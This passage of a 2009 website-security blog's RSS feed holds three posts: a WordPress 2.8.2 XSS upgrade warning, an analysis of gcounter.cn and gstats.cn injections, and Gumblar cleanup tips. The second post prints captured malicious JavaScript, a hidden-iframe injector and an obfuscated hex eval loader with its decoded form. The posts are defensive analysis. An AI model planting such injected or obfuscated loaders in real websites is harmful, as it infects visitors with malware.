				<category><![CDATA[Tips and Tricks]]></category>
		<category><![CDATA[Website exploits]]></category>
		<category><![CDATA[NoScript]]></category>
		<category><![CDATA[Phishing]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=254</guid>
		<description><![CDATA[WordPress has just released a security update.
WordPress 2.8.2 fixes an XSS vulnerability. Comment author URLs were not fully sanitized when displayed in the admin. This could be exploited to redirect you away from the admin to another site
Unfortunately, the official blog didn&#8217;t mention that this upgrade is actually critical and why you should update ASAP. [...]]]></description>
			<content:encoded><![CDATA[<p>WordPress has just released a <a href="http://bit.ly/15Ov9n">security update</a>.</p>
<blockquote><p>WordPress 2.8.2 fixes an XSS vulnerability. Comment author URLs were not fully sanitized when displayed in the admin. This could be exploited to redirect you away from the admin to another site</p></blockquote>
<p>Unfortunately, the official blog didn&#8217;t mention that this upgrade is actually critical and why you should update ASAP. Let me explain this.<br />
<span id="more-254"></span></p>
<h3>What is XSS vulnerability?</h3>
<p><a href="http://en.wikipedia.org/wiki/Cross-site_scripting">XSS (Cross-Site Scripting)</a> is a security vulnerability that allows malicious users inject code into web pages viewed by other users. In case of this WordPress vulnerability, hackers can leave a comment specifying specially crafted URL in the &#8220;website&#8221; field of the comment form. When you open any web page in the admin area of your blog that displays this malicious comment (this may be the dashboard, the comments section and the specific post edit page), the code in the comment author&#8217;s URL is activated and you get automatically redirected to a third party site (as suggests the update release note).</p>
<h3>Why is this serious?</h3>
<p>Now that WordPress has disclosed the fact that versions prior to 2.8.2 have an XSS vulnerability, hackers will start searching for a way to exploit this vulnerability. It usually takes only a few hours to create an exploit and configure a botnet to start an attack.</p>
<p>Redirection from the admin to a third-party site may sound not scary to you, but I envision at least two types of attacks that can lead to very serious consequences: hackers can gain access to the admin area of your blog and to your whole site. (Plus one type that is just annoying)</p>
<h3>Attack #1: Phishing</h3>
<p>As you know, when you sign in to WordPress admin area, the first screen you see is the <span style="color: #333333;"><em><strong>Dashboard</strong></em></span>. And the Dashboard screen contains the <span style="color: #333333;"><em><strong>Recent Comments</strong></em></span> section that displays latest comments. If any of those comment has a specially crafted comment author&#8217;s URL, you will be redirected to a third party site before the whole Dashboard is completely loaded.</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2009/07/wordpress-login-screen.gif" border="0" alt="WordPress login screen" /></div>
<p>This third-party site can display a standard WordPress login screen (They all look the same, so if you don&#8217;t check the URL in your browser&#8217;s address bar you won&#8217;t detect the substitution) telling you to try again. Unsuspecting users will enter their credentials again. Hackers will harvest them and redirect the user back to the original admin area. If the XSS code is properly crafted, some users won&#8217;t even know that they have just given their blog credentials to criminals.</p>
<p>By the way, another path to the admin area is to click on the  &#8220;<em>Approve/Delete/Spam</em>&#8221; links in the WordPress notification emails. This way you are also exposed to the attack right after you sign in.</p>
<p><span style="color: #333333;"><em><strong>Dear WordPress developers</strong>, please make the login screen skinable. This way bloggers will be able to recognize &#8220;alien&#8221; login screens that use incorrect themes.</em></span></p>
<h3>Attack #2: Malware.</h3>
<p>The third-party site may not require your passwords. Instead it will try to take advantage of your browser&#8217;s vulnerabilities (at this moment IE has a <a href="http://www.computerworld.com/s/article/9135499/Attacks_against_unpatched_Microsoft_bug_multiply">known unpatched security hole</a> and older versions of other browsers may be vulnerable too) and silently install malware on your local computer. Among other nasty things, trojans scan infected computers and steal stored FTP credentials (for example, FileZilla stores them in plain text in xml files), that will be used to compromise your web site. This is the most &#8220;popular&#8221; vector of hacking web sites this year.</p>
<p>There are also other ways to exploit this XSS vulnerability. Their consequences may be less dangerous but still very annoying.</p>
<h3>Attack #3: SPAM</h3>
<p>Every time you sign into the Blog admin or manage comments you&#8217;ll get redirected to some &#8220;prescription drug&#8221; site.</p>
<h3>Before you upgrade&#8230;</h3>
<p>So it&#8217;s time to upgrade. Right? But wait! What if malicious comments are already waiting for you in the admin area, and when you sign in to take advantage of the WordPress automatic upgrade tool, you will be exposed to the XSS attack?</p>
<h3>Safe way to upgrade</h3>
<p>If you don&#8217;t want to be exposed to any risks, you should upgrade WordPress <strong>before</strong> you sign in to the admin area.</p>
<ol>
<li>The most obvious way to do it is the <a href="http://codex.wordpress.org/Upgrading_WordPress#Three_Step_Manual_Upgrade">manual upgrade</a>. You must be familiar with it if you&#8217;ve lived in the pre-2.7 era.</li>
<li>Another way (probably the most easiest of them all and at the same time the most techie way) is to <a href="http://codex.wordpress.org/Installing/Updating_WordPress_with_Subversion#Updating_to_a_New_Stable_Version">upgrade using Subversion</a>.</li>
<li>If the manual upgrade is not your coup of tea, make sure your web browser can withstand XSS attacks. I suggest that you use the latest version of Firefox (3.5.1 currently) along with the <a href="http://noscript.net/">NoScript</a> extension that has a very good anti-XSS protection. If you use other browsers, <span style="color: #333333;"><em><strong>disable JavaScript</strong></em></span> before you sign in and don&#8217;t enable it until you reach the <em><strong>Tools-&gt;Upgrade</strong></em> page</li>
</ol>
<p>I hope this post has given you some basic understanding of security implications of unpatched XSS vulnerabilities in the Wordpress admin area. Now you know why you should upgrade and how to do it the right way.</p>
<p>Keep your site secure.</p>
<p><span style="color: #888888;"><strong>Similar posts:</strong></span></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2009/04/22/vulnerability-advisories-for-third-party-scripts/">Vulnerability Advisories for Third-Party Scripts</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/07/08/future-of-secure-web-browsing/">Future of Secure Web Browsing</a></li>
</ul>
<p>If you like this blog you might also find my free website security tool called <a href="http://www.UnmaskParasites.com">Unmask Parasites</a> useful.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2009/07/20/why-wordpress-2-8-2-is-a-critical-update/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>GStats .cn and GCounter .cn &#8211; Malicious Code in .js Files</title>
		<link>http://blog.unmaskparasites.com/2009/06/22/gstats-cn-and-gcounter-cn-malicious-code-in-js-files/</link>
		<comments>http://blog.unmaskparasites.com/2009/06/22/gstats-cn-and-gcounter-cn-malicious-code-in-js-files/#comments</comments>
		<pubDate>Mon, 22 Jun 2009 15:48:15 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Tips and Tricks]]></category>
		<category><![CDATA[Website exploits]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[gcounter]]></category>
		<category><![CDATA[gstats]]></category>
		<category><![CDATA[JS]]></category>
		<category><![CDATA[NoScript]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=231</guid>
		<description><![CDATA[This must be not a new attack (I&#8217;ve found an almost year old article that mentions gcounter iframes) but I started to notice it this past weekend. First, on the Google&#8217;s Webmaster Forums, then in the Unmask Parasites logs. So I guess it&#8217;s a new wave of the attack.
GCounter .cn
When I first encountered a site [...]]]></description>
			<content:encoded><![CDATA[<p>This must be not a new attack (I&#8217;ve found an almost <a href="http://incredibill.blogspot.com/2008/08/how-flawed-is-your-anti-virus.html">year old article</a> that mentions <em>gcounter iframes</em>) but I started to notice it this past weekend. First, on the <a href="http://www.google.com/support/forum/p/Webmasters/thread?tid=6da65d4bd143a077">Google&#8217;s Webmaster Forums</a>, then in the <a href="http://www.UnmaskParasites.com">Unmask Parasites</a> logs. So I guess it&#8217;s a new wave of the attack.</p>
<h3>GCounter .cn</h3>
<p>When I first encountered a site infected by <em>gcounter</em>, I checked it with <a href="http://www.UnmaskParasites.com">Unmask Parasites</a>. Nothing suspicious was found except for the fact that the domain name was blacklisted by Google. I checked the diagnostic page and found this clue:</p>
<blockquote><p>Malicious software is hosted on 1 domain(s), including <span style="text-decoration: underline;">gcounter.cn</span>/.</p></blockquote>
<p><span id="more-231"></span><br />
I opened the site in Firefox and temporarily enabled the site domain in <a href="https://addons.mozilla.org/firefox/addon/722">NoScript</a>. When the page reloaded, another item appeared in the NoScript menu: &#8220;<em>Allow gcounter.com</em>&#8220;. Bingo! The fact it was not initially there means that the malicious code is somewhere in external <em>.js</em> files. I downloaded (using wget) all referenced <em>.js</em> files and located the following code in one of them:</p>
<p><code>if (document.cookie.search("coqwg=3") == -1) {<br />
d ocument.write("&lt;i"+"fr"+"ame sr"+"c=http:"+"//"+"gcou"+"nter"+".cn styl"+"e"+"=displa"+"y:no"+"ne&gt;"+"&lt;/i"+"fram"+"e&gt;");<br />
d ocument.cookie = "coqwg=3;expires=Sun, 01-Dec-2011 08:00:00 GMT;path=/";}</code></p>
<p>As you can see, it injects a hidden iframe that loads content from <em><strong>gcounter .cn</strong></em>.</p>
<p>The code also sets a cookie so that only new visitors get infected. So the next time the NoScript trick won&#8217;t work if your browser already has that cookie.</p>
<p>When I checked another site with <em><strong>gcounter .cn</strong></em> mentioned on the diagnostic page, I also found the malicious code in one of the external <em>.js</em> files.</p>
<p>Note, that the code is not simply appended at the very bottom of <em>.js</em> files like in the <a href="http://blog.unmaskparasites.com/2009/05/07/gumblar-cn-exploit-12-facts-about-this-injected-script/">Gumblar exploit</a>, it is injected <em>somewhere in the middle</em> of legitimate JavaScript code. It may even not occupy a separate line, so it is very easy to overlook it.</p>
<h3>GStats .cn</h3>
<p>Another day I found a site with the following record on the Google&#8217;s Safe Browsing diagnostic page:</p>
<blockquote><p>Malicious software is hosted on 1 domain(s), including <span style="text-decoration: underline;">gstats.cn</span>/.</p></blockquote>
<p>The same NoScript trick revealed the malicious code in external .js files. This time the malicious code was more encrypted and looked like this:</p>
<p><code>AA3EC055="p";AA3EC055+="arseI";AA3EC055+="nt";E0B4B25AF7590="Stri";E0B4B25AF7590+="n";E0B4B25AF7590+="g.fr";E0B4B25AF7590+="omCha";<br />
E0B4B25AF7590+="rCo";E0B4B25AF7590+="de";function ACE13AC7F5(A8D133){var DB529=495;DB529=DB529-479;D59CA3C8=eval(AA3EC055+"(A8D133,DB529)");return(D59CA3C8);}<br />
function A230982771962E(D2A369){var DA09B=114;DA09B=DA09B-112;var C8120BEFABE1C="";for(BE4025D=0;BE4025D&lt;D2A369.length;BE4025D+=DA09B){<br />
C8120BEFABE1C+=(eval(E0B4B25AF7590+"(ACE13AC7F5(D2A369.substr(BE4025D,DA09B)))"));}e val(C8120BEFABE1C);}<br />
A230982771962E("69662028646F63756D656E742E636F6F6B69652E73656172636828226A7366783D332229203D3D202D3129207B0A787765773D646F63756D656E742E676574456C656D656E74427949642827636D6B27293B696628787765773D3D6E756C6C297B646F63756D656E742E777269746528273C696672616D652069643D636D6B207372633D687474703A2F2F6773746174732E636E207374796C653D646973706C61793A6E6F6E653E3C2F696672616D653E27293B7D0A646F63756D656E742E636F6F6B6965203D20226A7366783D333B657870697265733D53756E2C2030312D4465632D323031312030383A30303A303020474D543B706174683D2F223B7D");</code></p>
<p>After deobfuscation, the code looked similar to the <em>gcounter</em>&#8217;s</p>
<p><code>if (document.cookie.search("jsfx=3") == -1) { xwew=document.getElementById('cmk');if(xwew==null){<br />
d ocument.write('&lt;iframe id=cmk src=http://gstats . cn style=display:none&gt;&lt;/iframe&gt;');}<br />
d ocument.cookie = "jsfx=3;expires=Sun, 01-Dec-2011 08:00:00 GMT;path=/";}</code></p>
<p>No wonder, both <em><strong>gcounter .cn</strong></em> and <em><strong>gstats .cn</strong></em> reside on the same server with IP address of <em><strong>92.241.176.101</strong></em>.</p>
<p>The differences of the<em> gstats</em> modification from the above<em> gcounter</em> code are:</p>
<ul>
<li><em>gstats . cn</em> domain used</li>
<li>the code is more obfuscated and changes from site to site</li>
<li>the cookie names and the iframe ids also vary from site to site</li>
<li>I&#8217;ve seen this code only at the very bottom of <em>.js</em> file, so it may be slightly easier to find it.</li>
</ul>
<h3>Modification dates</h3>
<p>Another interesting fact about the infected .js files is they have pretty old modification dates. The newest file had a February&#8217;s modification date. And the oldest was not modified since January 2004. So it looks like the hackers can change the modification date of files once they inject the malicious code.</p>
<p>At this moment I don&#8217;t have any information about how the .js files get infected. I can only guess that it has to do with compromised FTP credential (as many other recent attacks).</p>
<ul>
<li>So be sure to check your local computers for malware.</li>
<li>then change all passwords</li>
<li>and refrain from saving them in programs you use to upload files to a web server (FTP clients, DreamWeaver, etc.).</li>
<li>Don&#8217;t use FTP if possible. This protocol is insecure. Use <a href="http://en.wikipedia.org/wiki/SSH_File_Transfer_Protocol">SFTP</a> instead &#8211; Most decent hosting plans include this option.</li>
<li>Browse the web with a secure browser. I recommend the Firefox+NoScript combo.</li>
</ul>
<h3>Have your say</h3>
<p>If you have more information about this exploit, please leave your comments here. The more we know about the attack the easier we can withstand it.</p>
<p>P.S. <span style="color: #333333;">This exploit is not directly detected by<a href="http://www.UnmaskParasites.com"> Unmask Parasites</a> since external .js files are not checked. However, some infected sites can be detected as suspicious if Google have already blacklisted them.  So click the &#8220;<em>details</em>&#8221; link next to  Google&#8217;s advisory and if you see <em><strong>gstats .cn</strong></em> or <em><strong>gcounter .cn</strong></em> on the diagnostic page you know where the malicious code hides.</span></p>
<p><a name="update"></a><span style="color: #333333;"><strong>Update</strong> Aug 31, 2009: <em>I&#8217;ve just found a script that injects a hidden </em></span><em><span style="color: #333333;"><strong>gcounter</strong> .cn</span> iframe at the bottom of an HTML file. This time it is detectable by <a href="http://www.UnmaskParasites.com">Unmask Parasites</a>. So don&#8217;t forget to check HTML files (all web pages)  too.</em></p>
<p><span style="color: #888888;"><strong>Similar posts:</strong></span></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2009/05/13/noscript-helps-reveal-website-exploits-telegram-com-case/">NoScript Helps Reveal Website Exploits &#8211; Telegram .com Case</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/06/18/beladen-elusive-web-server-exploit/">Beladen &#8211; Elusive Web Server Exploit. (information for site owners and hosting providers)</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/05/07/gumblar-cn-exploit-12-facts-about-this-injected-script/">Gumblar .cn Exploit &#8211; 12 Facts About This Injected Script</a></li>
<li><a href="http://blog.unmaskparasites.com/category/website-exploits/">All reviewed website exploits</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2009/06/22/gstats-cn-and-gcounter-cn-malicious-code-in-js-files/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Gumblar/Martuz Aftermath</title>
		<link>http://blog.unmaskparasites.com/2009/05/26/gumblar-martuz-aftermath/</link>
		<comments>http://blog.unmaskparasites.com/2009/05/26/gumblar-martuz-aftermath/#comments</comments>
		<pubDate>Tue, 26 May 2009 14:07:37 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Tips and Tricks]]></category>
		<category><![CDATA[Website exploits]]></category>
		<category><![CDATA[gumblar]]></category>
		<category><![CDATA[Gumblaroid]]></category>
		<category><![CDATA[malware review]]></category>
		<category><![CDATA[martuz]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=216</guid>
		<description><![CDATA[The Gumblar/Martuz epidemic is currently on decline. Comparing with the last week, this week Unmask Parasites registers only a small fraction of Gumblar infected web sites. And I don&#8217;t see any new script mutations.
&#8220;Martuz .cn&#8221; domain no longer resolve and &#8220;gumblar .cn&#8221; is defunct (the domain is currently parked). This has stopped the surge of [...]]]></description>
			<content:encoded><![CDATA[<p>The Gumblar/Martuz epidemic is currently on decline. Comparing with the last week, this week <a href="http://www.UnmaskParasites.com">Unmask Parasites</a> registers only a small fraction of Gumblar infected web sites. And I don&#8217;t see any new script mutations.</p>
<p>&#8220;Martuz .cn&#8221; domain <a href="http://blog.scansafe.com/journal/2009/5/19/gumblar-up-another-7-martuzcn-is-down.html">no longer resolve</a> and &#8220;gumblar .cn&#8221; is defunct (the domain is currently parked). This has stopped the surge of new infections. And the increased global awareness helped webmasters identify the problem and get rid of it.</p>
<h3>Recovered sites are still blacklisted</h3>
<p>Nonetheless, I can still see that many websites recovered from the gumblar/martuz attack are still blacklisted by Google. Their Safe Browsing diagnostic pages say something like:<br />
<span id="more-216"></span></p>
<blockquote><p>&#8220;Malicious software is hosted on 1 domain(s), including martuz .cn/.&#8221;</p></blockquote>
<p>or</p>
<blockquote><p>&#8220;Malicious software is hosted on 1 domain(s), including gumblar .cn/.&#8221;</p></blockquote>
<p>Their search results are labeled with the <em>&#8220;This site may harm your computer&#8221;</em> warning. Many browsers (FireFox 3, Safari, Google Chrome) won&#8217;t let visitors browse those sites displaying the &#8220;<em>Reported Attack Site</em>&#8221; warning.</p>
<p>Looking at the last visit date on the diagnostic pages, I see that webmasters didn&#8217;t request a review via Google&#8217;s <a href="http://www.google.com/webmasters/tools/">Webmaster Tools</a>.</p>
<p>Just a reminder: If your site is blacklisted by Google, clean up the site and request a review. Here you will find <a href="http://www.google.com/support/forum/p/Webmasters/thread?tid=1c3090220db34b1b&amp;hl=en">all the information you need about it</a>.</p>
<h3>Malware review tips</h3>
<p>I want to stress a few facts about the review process.</p>
<ol>
<li><strong>Do request the review.</strong> It was noticed that it takes significantly longer to remove the warning if the malware scanners find you site clean without a review request from a site owner. When they know that the site owner is aware of the problem, the process becomes smoother and <span style="text-decoration: underline;">the warning can be removed in just a few hours</span> after a successful review.</li>
<li><strong>Request the review as soon as possible.</strong> Although Google&#8217;s malware scanner can automatically visit your site, they are not as ubiquitous as Googlebot and it may take weeks before the next scheduled visit.</li>
<li><strong>Don&#8217;t be afraid to request the review</strong> even if you are not sure that your site is completely clean. If any security issues are detected during the review, they will be reported in your Webmaster Tools account. Then you can fix them and request another review.</li>
<li><strong>Don&#8217;t delete infected web pages.</strong> If Google reports specific URL as examples of web pages where malicious content was found, it expects to find these pages clean during the review. If the pages cannot be found, it may be considered as if they were temporarily removed just to pass the review. If you don&#8217;t need specific pages, try to empty them (you can remove them after a successful review) or configure your web server to return the <strong>410 Gone</strong> error. (<em><span style="color: #333333;">This information is not from official Google&#8217;s sources. It&#8217;s based on my own observations</span></em>)</li>
</ol>
<h3>Strive for complete recovery</h3>
<p>And a few more words to owners of websites recovered from the gumblar/martuz attack. If you requested the review, but it came back with a warning that your site is still infected, the chances are you haven&#8217;t removed the malicious code from all files.</p>
<p>This attack was very sophisticated. It modified many files, created backdoor scripts and changed directory permissions.  Even if <a href="http://www.UnmaskParasites.com">Unmask Parasites</a> doesn&#8217;t detect any suspicious scripts in your web pages, the site can still be infected if you didn&#8217;t clean external <em><strong>.js</strong></em> files (they are not checked by Unmask Parasites). You can find more details about the exploit and what it takes to get rid of it <a title="12 facts about the Gumblar exploit + comments" href="http://blog.unmaskparasites.com/2009/05/07/gumblar-cn-exploit-12-facts-about-this-injected-script/">in this article</a>. Make sure to read comments &#8211; they add much value to the article.</p>
<p><strong><span style="color: #888888;">Similar posts:</span></strong></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2009/05/07/gumblar-cn-exploit-12-facts-about-this-injected-script/">Gumblar .cn Exploit &#8211; 12 Facts About This Injected Script</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/05/18/martuz-cn-is-a-new-incarnation-of-gumblar-exploit/">Martuz .cn &#8211; New Incarnation of the Gumblar Exploit. So What’s New?</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/05/15/a-few-more-facts-about-the-gumblar-attack-from-sophoslab-and-scansafe/">A Few More Facts About the Gumblar Attack From SophosLab and ScanSafe.</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2009/05/26/gumblar-martuz-aftermath/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
	</channel>
</rss>

